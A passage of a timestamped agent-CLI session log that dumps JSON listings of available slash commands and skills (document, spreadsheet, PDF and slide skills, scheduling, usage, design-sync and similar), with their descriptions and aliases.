sync)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"anthropic-skills:import-memory\"\n[2026-09-29T07:43:30.244Z] [INFO]       ]\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"morning\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Render the user's morning brief as a styled HTML artifact, or set it up as a recurring weekday task. Use only when the user explicitly asks to run, see, or set up their morning brief, or if they invoke /morning by name. A question about their day, schedule, or calendar is not by itself a request for the brief; answer it directly instead. (claude.ai sync)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"anthropic-skills:morning\"\n[2026-09-29T07:43:30.244Z] [INFO]       ]\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"skill-creator\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Create new skills, modify and improve existing skills, and measure skill performance. Use when users want to create a skill from scratch, edit, or optimize an existing skill, run evals to test a skill, benchmark skill performance with variance analysis, or optimize a skill's description for better triggering accuracy. (claude.ai sync)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"anthropic-skills:skill-creator\"\n[2026-09-29T07:43:30.244Z] [INFO]       ]\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"xlsx\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Use this skill any time a spreadsheet file is the primary input or output. This means any task where the user wants to: open, read, edit, or fix an existing .xlsx, .xlsm, .xltx, .csv, or .tsv file (e.g., adding columns, computing formulas, formatting, charting, cleaning messy data); create a new spreadsheet from scratch or from other data sources; or convert between tabular file formats. Trigger especially when the user references a spreadsheet file by name or path \u2014 even casually (like \\\"the xlsx in my downloads\\\") \u2014 and wants something done to it or produced from it. Also trigger for cleaning or restructuring messy tabular data files (malformed rows, misplaced headers, junk data) into proper spreadsheets. The deliverable must be a spreadsheet file. Do NOT trigger when the primary deliverable is a Word document, HTML report, standalone Python script, database pipeline, or Google Sheets API integration, even if tabular data is involved. (claude.ai sync)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"anthropic-skills:xlsx\"\n[2026-09-29T07:43:30.244Z] [INFO]       ]\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"pptx\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Use this skill any time a .pptx or .potx file is involved in any way \u2014 as input, output, or both. This includes: creating slide decks, pitch decks, or presentations as PowerPoint (.pptx) files; reading, parsing, or extracting text from any .pptx or .potx file (even if the extracted content will be used elsewhere, like in an email, summary, or creating a different type of slide deck); editing, modifying, or updating existing presentations; combining or splitting slide files; working with templates (.potx), layouts, speaker notes, or comments. Trigger whenever the user asks for a PowerPoint or .pptx file, or references a .pptx or .potx filename, regardless of what they plan to do with the content afterward. However, when the user asks for a deck, slides, a slide deck, or a presentation without naming a file format, default to using a dedicated slide-deck artifact type or a separate slides skill if this session offers one; otherwise, use this skill. (claude.ai sync)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"anthropic-skills:pptx\"\n[2026-09-29T07:43:30.244Z] [INFO]       ]\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"pdf\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Use this skill whenever the user wants to do anything with PDF files. This includes reading or extracting text/tables from PDFs, combining or merging multiple PDFs into one, splitting PDFs apart, rotating pages, adding watermarks, creating new PDFs, filling PDF forms, encrypting/decrypting PDFs, extracting images, and OCR on scanned PDFs to make them searchable. If the user mentions a .pdf file or asks to produce one, use this skill. (claude.ai sync)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"anthropic-skills:pdf\"\n[2026-09-29T07:43:30.244Z] [INFO]       ]\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"docx\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Use this skill whenever the user wants to create, read, edit, or manipulate Word documents (.docx) or Word templates (.dotx). Triggers include: any mention of Microsoft Word Documents, such as 'Word doc', 'word document', '.docx', '.dotx', 'microsoft doc'. Also use when extracting or reorganizing content from .docx or .dotx files, inserting or replacing images in documents, find-and-replace in Word files, working with tracked changes or comments, or converting content into a polished Word document. If the user asks for a deliverable as a Word or .docx file (to download, email or print), use this skill. However, if they ask for a document, page, report, memo, or notes WITHOUT naming a file format and the session offers Claude's own dedicated document or page skill or connector, use that instead, even if they will email or print it. Do NOT use for PDFs, spreadsheets, Google Docs, or coding unrelated to document generation. (claude.ai sync)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"anthropic-skills:docx\"\n[2026-09-29T07:43:30.244Z] [INFO]       ]\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"schedule\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Create, update, list, or run scheduled cloud agents (routines) that execute on a cron schedule.\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"routines\"\n[2026-09-29T07:43:30.244Z] [INFO]       ],\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"claude-api\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Reference for the Claude API / Anthropic SDK \u2014 model ids, pricing, params, streaming, tool use, MCP, agents, caching, token counting, model migration.\\nTRIGGER \u2014 read BEFORE opening the target file; don't skip because it \\\"looks like a one-liner\\\" \u2014 whenever: the prompt names Claude/Anthropic in any form (Claude, Anthropic, Fable, Opus, Sonnet, Haiku, `anthropic`, `@anthropic-ai`, `claude-*`, `us.anthropic.*`, `[1m]`); the user asks about an LLM (pricing/model choice/limits/caching) \u2014 never answer from memory; OR the task is LLM-shaped with provider unstated (agent/MCP/tool-definition/multi-agent/RAG/LLM-judge/computer-use; generate/summarize/extract/classify/rewrite/converse over NL; debugging refusals/cutoffs/streaming/tool-calls/tokens).\\nSKIP only when another provider is being worked on (overrides all triggers): OpenAI/GPT/Gemini/Llama/Mistral/Cohere/Ollama named in the query; OR `grep -rE 'openai|langchain_openai|google.generativeai|genai|mistralai|cohere|ollama'` over the project hits (run this grep FIRST if no provider named \u2014 don't Read the file).\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"workflow-authoring\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Reference for writing a Workflow tool script (script API and gotchas, resume, quality patterns, worked examples). Load before authoring a script for a workflow the user already opted into; it does not itself authorize running one.\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"run\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Launch and drive this project's app to see a change working. Use when asked to run, start, or screenshot the app, or to confirm a change works in the real app (not just tests). First looks for a project skill that already covers launching the app; otherwise falls back to built-in patterns per project type (CLI, server, TUI, Electron, browser-driven, library).\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"run-skill-generator\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Author or improve the run- skill - a per-project skill that tells agents how to build, launch, and drive this project's app. Use when the user asks to set up the project, get it running, write run instructions, or verify build/run steps work from a clean environment.\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"advisor\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Let Claude consult a stronger model at key moments\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[fable|opus|sonnet|off]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"agents\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"(removed) Ask Claude to create/manage subagents, or edit .claude/agents/\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"auto-mode-setup\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Teach auto mode about your environment, plus optional rule tweaks\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[--request-id ] (--wizard posture=\u2026 scope=\u2026 depth=\u2026 --propose | --expect-sha256 <64-hex> --apply-file )\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"autocompact\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Configure the auto-compact window size\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[auto|]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"clear\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Start a new session with empty context; previous session stays on disk (resumable with /resume)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[name]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"reset\",\n[2026-09-29T07:43:30.244Z] [INFO]         \"new\"\n[2026-09-29T07:43:30.244Z] [INFO]       ],\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"color\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Set the prompt bar color for this session\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[red|blue|green|yellow|purple|orange|pink|cyan|default]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"compact\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Free up context by summarizing the conversation so far\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"config\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Set a setting by key\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"key=value\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"settings\"\n[2026-09-29T07:43:30.244Z] [INFO]       ],\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"output-style\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"List output styles or switch to one\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[style]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"context\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Show current context usage\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"effort\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Set effort level for model usage\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"fast\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Toggle fast mode (Opus 5.5)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[on|off]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"focus\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Toggle focus view: just your prompt, summary, and response\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[on|off]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"heapdump\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Dump the JS heap to the Desktop; on Linux with no Desktop folder, the home directory\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"init\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Initialize a new CLAUDE.md file with codebase documentation\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"mcp\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Manage MCP servers\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[reconnect|enable|disable [|all]]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"import\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Import config from another AI coding agent\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"model\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Set the AI model for Claude Code\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"__remote-workflow\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Run the workflow script delivered in this session environment (server-launched sessions only)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"workflow-launch-exec\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Execute a server-launched workflow handoff (workflow_launch event sessions only)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"reload-plugins\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Activate pending plugin changes in the current session\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[--force]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"reload-skills\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Pick up skills added or changed on disk during this session\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"rename\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Rename the current conversation\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[name]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"name\"\n[2026-09-29T07:43:30.244Z] [INFO]       ],\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"ultrareview\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Start a cloud agent that finds and verifies bugs in your branch (~15-25 min, $5-$25 USD) \u00b7 Runs in a cloud session. See https://code.claude.com/docs/en/claude-code-on-the-web\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"security-review\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Complete a security review of the pending changes on the current branch\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"usage-credits\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Configure usage credits or request them from your admin when you hit a limit\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"extra-usage\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Renamed to /usage-credits\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"usage\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Show session cost, plan usage, and what's contributing to your limits\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"cost\",\n[2026-09-29T07:43:30.244Z] [INFO]         \"stats\"\n[2026-09-29T07:43:30.244Z] [INFO]       ],\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"insights\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Generate a report analyzing your Claude Code sessions\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"recap\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Generate a one-line session recap now\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"skill-doctor\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Show which loaded skills are unused and costing context\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"goal\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Set a goal \u2014 keep working until the condition is met\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"design-consent\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Grant Claude agent access to your Design projects\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"design-revoke\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Revoke Claude agent access to your Design projects\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"list-agents\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"List subagents, teammates, and other Claude sessions you can message\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"peers\"\n[2026-09-29T07:43:30.244Z] [INFO]       ],\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"team-onboarding\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Help teammates ramp on Claude Code with a guide from your usage\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     }\n[2026-09-29T07:43:30.244Z] [INFO]   ],\n[2026-09-29T07:43:30.244Z] [INFO]   \"uuid\": \"4326207d-a1a1-4d13-b842-4a13f5443937\",\n[2026-09-29T07:43:30.244Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:43:30.244Z] [INFO] }\n[2026-09-29T07:43:30.269Z] [INFO] \ud83d\udccc Session ID: f0ddf6ec-4316-44b3-b0ba-14367918e3de\n[2026-09-29T07:43:30.274Z] [INFO] \ud83d\udcc1 Log renamed to: /home/box/f0ddf6ec-4316-44b3-b0ba-14367918e3de.log\n[2026-09-29T07:43:31.321Z] [INFO] {\n[2026-09-29T07:43:31.321Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:43:31.321Z] [INFO]   \"subtype\": \"commands_changed\",\n[2026-09-29T07:43:31.321Z] [INFO]   \"commands\": [\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"deep-research\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Deep research harness \u2014 fan-out web searches, fetch sources, adversarially verify claims, synthesize a cited report. (dynamic workflow)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"design\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Grant or revoke Claude agent access to your Design projects\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"consent | revoke\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"design-sync\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Push a React design system to claude.ai/design. This runs a converter that bundles the real component code (from Storybook or a bare package) and uploads it. Use when the user runs /design-sync or says \\\"sync my design system to Claude Design\\\".\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"dataviz\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Use this skill whenever you are about to create ANY chart, graph, plot, dashboard, or data visualization, in ANY output medium \u2014 an HTML or React artifact, inline SVG, plotting code in any library (matplotlib, plotly, d3, Recharts, \u2026), an 